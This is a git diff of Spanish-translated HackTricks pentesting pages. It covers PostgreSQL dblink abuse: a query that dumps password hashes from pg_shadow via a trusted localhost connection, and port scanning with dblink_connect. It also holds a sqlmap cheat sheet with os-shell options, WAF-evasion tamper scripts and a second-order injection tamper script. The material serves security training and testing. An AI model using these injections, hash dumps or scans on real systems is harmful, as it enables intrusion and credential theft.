* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,34 +1,36 @@
# Exfiltración de datos con dblink/lo\_import
# dblink/lo\_import exfiltración de datos
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}
**Este es un ejemplo de cómo exfiltrar datos cargando archivos en la base de datos con `lo_import` y exfiltrándolos usando `dblink_connect`.**
**Este es un ejemplo de cómo exfiltrar datos cargando archivos en la base de datos con `lo_import` y exfiltrarlos usando `dblink_connect`.**
**Consulta la solución en:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}

View file

@ -1,43 +1,44 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Encuentra [más información sobre estos ataques en el documento original](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.
Desde **PostgreSQL 9.1**, la instalación de módulos adicionales es sencilla. Las [extensiones registradas como `dblink`](https://www.postgresql.org/docs/current/contrib.html) se pueden instalar con [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html):
Desde **PostgreSQL 9.1**, la instalación de módulos adicionales es simple. [Las extensiones registradas como `dblink`](https://www.postgresql.org/docs/current/contrib.html) se pueden instalar con [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html):
```sql
CREATE EXTENSION dblink;
```
Una vez que hayas cargado dblink, podrías ser capaz de realizar algunos trucos interesantes:
Una vez que tengas dblink cargado, podrías ser capaz de realizar algunos trucos interesantes:
## Escalada de Privilegios
## Escalación de Privilegios
El archivo `pg_hba.conf` podría estar mal configurado **permitiendo conexiones** desde **localhost como cualquier usuario** sin necesidad de conocer la contraseña. Este archivo suele encontrarse en `/etc/postgresql/12/main/pg_hba.conf` y una mala configuración se vería así:
El archivo `pg_hba.conf` podría estar mal configurado **permitiendo conexiones** desde **localhost como cualquier usuario** sin necesidad de conocer la contraseña. Este archivo se puede encontrar típicamente en `/etc/postgresql/12/main/pg_hba.conf` y una mala configuración se ve así:
```
local all all trust
```
_Nota que esta configuración se usa comúnmente para modificar la contraseña de un usuario de base de datos cuando el administrador la olvida, por lo que a veces puedes encontrarla._\
_También ten en cuenta que el archivo pg\_hba.conf solo es legible por el usuario y grupo postgres y solo se puede escribir por el usuario postgres._
_Tenga en cuenta que esta configuración se utiliza comúnmente para modificar la contraseña de un usuario de base de datos cuando el administrador la olvida, por lo que a veces puede encontrarla._\
_Tenga también en cuenta que el archivo pg\_hba.conf es legible solo por el usuario y grupo postgres y escribible solo por el usuario postgres._
Este caso es **útil si** ya tienes una **shell** dentro de la víctima, ya que te permitirá conectarte a la base de datos de postgresql.
Este caso es **útil si** ya **tiene** un **shell** dentro de la víctima, ya que le permitirá conectarse a la base de datos postgresql.
Otra posible mala configuración consiste en algo como esto:
```
host all all 127.0.0.1/32 trust
```
Como permitirá que cualquier persona desde el localhost se conecte a la base de datos como cualquier usuario.\
En este caso y si la función **`dblink`** está **funcionando**, podrías **elevar privilegios** conectándote a la base de datos a través de una conexión ya establecida y acceder a datos a los que no deberías poder acceder:
Como permitirá que todos desde el localhost se conecten a la base de datos como cualquier usuario.\
En este caso y si la función **`dblink`** está **funcionando**, podrías **escalar privilegios** conectándote a la base de datos a través de una conexión ya establecida y acceder a datos a los que no deberías poder acceder:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=postgres
@ -51,9 +52,9 @@ dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);
```
## Escaneo de Puertos
## Port Scanning
Abusando de `dblink_connect`, también podrías **buscar puertos abiertos**. Si esa **función no funciona, deberías intentar usar `dblink_connect_u()` ya que la documentación indica que `dblink_connect_u()` es idéntico a `dblink_connect()`, excepto que permitirá a los usuarios no superusuarios conectarse utilizando cualquier método de autenticación.
Abusando de `dblink_connect` también podrías **buscar puertos abiertos**. Si esa **función no funciona, deberías intentar usar `dblink_connect_u()` ya que la documentación dice que `dblink_connect_u()` es idéntica a `dblink_connect()`, excepto que permitirá a los no superusuarios conectarse utilizando cualquier método de autenticación_.
```sql
SELECT * FROM dblink_connect('host=216.58.212.238
port=443
@ -80,7 +81,7 @@ DETAIL: timeout expired
ERROR: could not establish connection
DETAIL: received invalid response to SSL negotiation:
```
Ten en cuenta que **antes** de poder usar `dblink_connect` o `dblink_connect_u` es posible que necesites ejecutar:
Nota que **antes** de poder usar `dblink_connect` o `dblink_connect_u` es posible que necesites ejecutar:
```
CREATE extension dblink;
```
@ -105,16 +106,17 @@ END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}
# Argumentos básicos para SQLmap
@ -32,7 +33,7 @@ Otras formas de apoyar a HackTricks:
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY
```
## Obtener Información
## Recuperar Información
### Interno
```bash
@ -59,12 +60,12 @@ Captura la solicitud y crea un archivo req.txt
```bash
sqlmap -r req.txt --current-user
```
## Inyección en solicitud GET
## Inyección de Solicitud GET
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
## Inyección de solicitud POST
## Inyección de Solicitud POST
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
@ -87,8 +88,6 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
## Shell
## Shell
```bash
#Exec command
@ -108,7 +107,7 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
# Personalización de la Inyección
# Personalizando la Inyección
## Establecer un sufijo
```bash
@ -123,56 +122,73 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
## Manipulación
## Tamper
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
| Tamper | Descripción |
| :--- | :--- |
| apostrophemask.py | Reemplaza el carácter de apóstrofe con su contraparte de ancho completo UTF-8 |
| apostrophenullencode.py | Reemplaza el carácter de apóstrofe con su contraparte de doble unicode ilegal |
| appendnullbyte.py | Añade un carácter de byte NULL codificado al final de la carga útil |
| apostrophemask.py | Reemplaza el carácter de apóstrofe con su contraparte de ancho completo en UTF-8 |
| apostrophenullencode.py | Reemplaza el carácter de apóstrofe con su contraparte ilegal de doble unicode |
| appendnullbyte.py | Agrega un carácter de byte NULL codificado al final de la carga útil |
| base64encode.py | Codifica en Base64 todos los caracteres en una carga útil dada |
| between.py | Reemplaza el operador mayor que \('&gt;'\) con 'NOT BETWEEN 0 AND \#' |
| bluecoat.py | Reemplaza el carácter de espacio después de la declaración SQL con un carácter de espacio en blanco aleatorio válido. Luego reemplaza el carácter = con el operador LIKE |
| chardoubleencode.py | Doble codifica en URL todos los caracteres en una carga útil dada \(sin procesar los ya codificados\) |
| bluecoat.py | Reemplaza el carácter de espacio después de la declaración SQL con un carácter en blanco aleatorio válido. Luego, reemplaza el carácter = con el operador LIKE |
| chardoubleencode.py | Codifica en URL dos veces todos los caracteres en una carga útil dada \(no procesa los ya codificados\) |
| commalesslimit.py | Reemplaza instancias como 'LIMIT M, N' con 'LIMIT N OFFSET M' |
| commalessmid.py | Reemplaza instancias como 'MID\(A, B, C\)' con 'MID\(A FROM B FOR C\)' |
| concat2concatws.py | Reemplaza instancias como 'CONCAT\(A, B\)' con 'CONCAT\_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
| charencode.py | Codifica en URL todos los caracteres en una carga útil dada \(sin procesar los ya codificados\) |
| charunicodeencode.py | Codifica en Unicode-URL los caracteres no codificados en una carga útil dada \(sin procesar los ya codificados\). "%u0022" |
| charunicodeescape.py | Codifica en Unicode-URL los caracteres no codificados en una carga útil dada \(sin procesar los ya codificados\). "\u0022" |
| charencode.py | Codifica en URL todos los caracteres en una carga útil dada \(no procesa los ya codificados\) |
| charunicodeencode.py | Codifica en URL unicode los caracteres no codificados en una carga útil dada \(no procesa los ya codificados\). "%u0022" |
| charunicodeescape.py | Codifica en URL unicode los caracteres no codificados en una carga útil dada \(no procesa los ya codificados\). "\u0022" |
| equaltolike.py | Reemplaza todas las ocurrencias del operador igual \('='\) con el operador 'LIKE' |
| escapequotes.py | Escapa las comillas \(' and "\) con barra diagonal |
| escapequotes.py | Escapa las comillas con barra invertida \(' y "\) |
| greatest.py | Reemplaza el operador mayor que \('&gt;'\) con su contraparte 'GREATEST' |
| halfversionedmorekeywords.py | Agrega un comentario versionado de MySQL antes de cada palabra clave |
| halfversionedmorekeywords.py | Agrega un comentario de MySQL versionado antes de cada palabra clave |
| ifnull2ifisnull.py | Reemplaza instancias como 'IFNULL\(A, B\)' con 'IF\(ISNULL\(A\), B, A\)' |
| modsecurityversioned.py | Envuelve la consulta completa con un comentario versionado |
| modsecurityzeroversioned.py | Envuelve la consulta completa con un comentario de versión cero |
| multiplespaces.py | Agrega múltiples espacios alrededor de las palabras clave de SQL |
| nonrecursivereplacement.py | Reemplaza palabras clave SQL predefinidas con representaciones adecuadas para reemplazo \(por ejemplo, .replace\("SELECT", ""\)\) filtros |
| multiplespaces.py | Agrega múltiples espacios alrededor de las palabras clave SQL |
| nonrecursivereplacement.py | Reemplaza palabras clave SQL predefinidas con representaciones adecuadas para el reemplazo \(e.g. .replace\("SELECT", ""\)\) filtros |
| percentage.py | Agrega un signo de porcentaje \('%'\) delante de cada carácter |
| overlongutf8.py | Convierte todos los caracteres en una carga útil dada \(sin procesar los ya codificados\) |
| overlongutf8.py | Convierte todos los caracteres en una carga útil dada \(no procesa los ya codificados\) |
| randomcase.py | Reemplaza cada carácter de palabra clave con un valor de caso aleatorio |
| randomcomments.py | Agrega comentarios aleatorios a las palabras clave de SQL |
| securesphere.py | Añade una cadena especial elaborada |
| sp\_password.py | Añade 'sp\_password' al final de la carga útil para obfuscación automática de los registros del DBMS |
| randomcomments.py | Agrega comentarios aleatorios a las palabras clave SQL |
| securesphere.py | Agrega una cadena especialmente elaborada |
| sp\_password.py | Agrega 'sp\_password' al final de la carga útil para la ofuscación automática de los registros de DBMS |
| space2comment.py | Reemplaza el carácter de espacio \(' '\) con comentarios |
| space2dash.py | Reemplaza el carácter de espacio \(' '\) con un comentario de guion \('--'\) seguido de una cadena aleatoria y un salto de línea \('\n'\) |
| space2hash.py | Reemplaza el carácter de espacio \(' '\) con un carácter de almohadilla \('\#'\) seguido de una cadena aleatoria y un salto de línea \('\n'\) |
| space2morehash.py | Reemplaza el carácter de espacio \(' '\) con un carácter de almohadilla \('\#'\) seguido de una cadena aleatoria y un salto de línea \('\n'\) |
| space2dash.py | Reemplaza el carácter de espacio \(' '\) con un comentario de guion \('--'\) seguido de una cadena aleatoria y una nueva línea \('\n'\) |
| space2hash.py | Reemplaza el carácter de espacio \(' '\) con un carácter de libra \('\#'\) seguido de una cadena aleatoria y una nueva línea \('\n'\) |
| space2morehash.py | Reemplaza el carácter de espacio \(' '\) con un carácter de libra \('\#'\) seguido de una cadena aleatoria y una nueva línea \('\n'\) |
| space2mssqlblank.py | Reemplaza el carácter de espacio \(' '\) con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos |
| space2mssqlhash.py | Reemplaza el carácter de espacio \(' '\) con un carácter de almohadilla \('\#'\) seguido de un salto de línea \('\n'\) |
| space2mssqlhash.py | Reemplaza el carácter de espacio \(' '\) con un carácter de libra \('\#'\) seguido de una nueva línea \('\n'\) |
| space2mysqlblank.py | Reemplaza el carácter de espacio \(' '\) con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos |
| space2mysqldash.py | Reemplaza el carácter de espacio \(' '\) con un comentario de guion \('--'\) seguido de un salto de línea \('\n'\) |
| space2mysqldash.py | Reemplaza el carácter de espacio \(' '\) con un comentario de guion \('--'\) seguido de una nueva línea \('\n'\) |
| space2plus.py | Reemplaza el carácter de espacio \(' '\) con un signo más \('+'\) |
| space2randomblank.py | Reemplaza el carácter de espacio \(' '\) con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos |
| symboliclogical.py | Reemplaza los operadores lógicos AND y OR con sus contrapartes simbólicas \(&& y |
| unionalltounion.py | Reemplaza UNION ALL SELECT con UNION SELECT |
| unmagicquotes.py | Reemplaza el carácter de comilla \('\) con una combinación multibyte %bf%27 junto con un comentario genérico al final \(para que funcione\) |
| uppercase.py | Reemplaza cada carácter de palabra clave con un valor en mayúsculas 'INSERT' |
| varnish.py | Añade un encabezado HTTP 'X-originating-IP' |
| versionedkeywords.py | Encierra cada palabra clave no funcional con un comentario versionado de MySQL |
| versionedmorekeywords.py | Encierra cada palabra clave con un comentario versionado de MySQL |
| xforwardedfor.py | Añade un encabezado HTTP falso 'X-Forwarded-For' |
| unmagicquotes.py | Reemplaza el carácter de comillas \('\) con una combinación de múltiples bytes %bf%27 junto con un comentario genérico al final \(para que funcione\) |
| uppercase.py | Reemplaza cada carácter de palabra clave con el valor en mayúsculas 'INSERT' |
| varnish.py | Agrega un encabezado HTTP 'X-originating-IP' |
| versionedkeywords.py | Envuelve cada palabra clave no funcional con un comentario de MySQL versionado |
| versionedmorekeywords.py | Envuelve cada palabra clave con un comentario de MySQL versionado |
| xforwardedfor.py | Agrega un encabezado HTTP falso 'X-Forwarded-For' |
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,25 +1,26 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**SQLMap puede explotar Segundos Orden SQLis.**\
**SQLMap puede explotar SQLis de segundo orden.**\
Necesitas proporcionar:
* La **solicitud** donde se va a guardar el **payload de sqlinjection**
* La **solicitud** donde el **payload** será **ejecutado**
* La **solicitud** donde la **carga útil de sqlinjection** se va a guardar
* La **solicitud** donde la **carga útil** será **ejecutada**
La solicitud donde se guarda el payload de inyección SQL se **indica como en cualquier otra inyección en sqlmap**. La solicitud **donde sqlmap puede leer la salida/ejecución** de la inyección se puede indicar con `--second-url` o con `--second-req` si necesitas indicar una solicitud completa desde un archivo.
La solicitud donde se guarda la carga útil de inyección SQL está **indicada como en cualquier otra inyección en sqlmap**. La solicitud **donde sqlmap puede leer la salida/ejecución** de la inyección se puede indicar con `--second-url` o con `--second-req` si necesitas indicar una solicitud completa desde un archivo.
**Ejemplo simple de segundo orden:**
```bash
@ -31,7 +32,7 @@ sqlmap -r login.txt -p username --second-req details.txt
```
En varios casos **esto no será suficiente** porque necesitarás **realizar otras acciones** además de enviar la carga útil y acceder a una página diferente.
Cuando sea necesario, puedes usar un **modificador de sqlmap**. Por ejemplo, el siguiente script registrará un nuevo usuario **utilizando la carga útil de sqlmap como correo electrónico** y cerrará la sesión.
Cuando esto sea necesario, puedes usar un **sqlmap tamper**. Por ejemplo, el siguiente script registrará un nuevo usuario **usando la carga útil de sqlmap como correo electrónico** y cerrará sesión.
```python
#!/usr/bin/env python
@ -59,11 +60,11 @@ headers = kwargs.get("headers", {})
login_account(payload)
return payload
```
Un **tamper de SQLMap siempre se ejecuta antes de comenzar un intento de inyección con una carga útil** **y debe devolver una carga útil**. En este caso, no nos importa la carga útil, pero nos importa enviar algunas solicitudes, por lo que la carga útil no se cambia.
Un **tamper de SQLMap siempre se ejecuta antes de comenzar un intento de inyección con un payload** **y tiene que devolver un payload**. En este caso, no nos importa el payload, pero nos importa enviar algunas solicitudes, por lo que el payload no se cambia.
Entonces, si por alguna razón necesitamos un flujo más complejo para explotar la inyección SQL de segundo orden como:
* Crear una cuenta con la carga útil de SQLi dentro del campo "email"
* Crear una cuenta con el payload de SQLi dentro del campo "email"
* Cerrar sesión
* Iniciar sesión con esa cuenta (login.txt)
* Enviar una solicitud para ejecutar la inyección SQL (second.txt)
@ -83,16 +84,17 @@ sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
```
{% hint style="success" %}
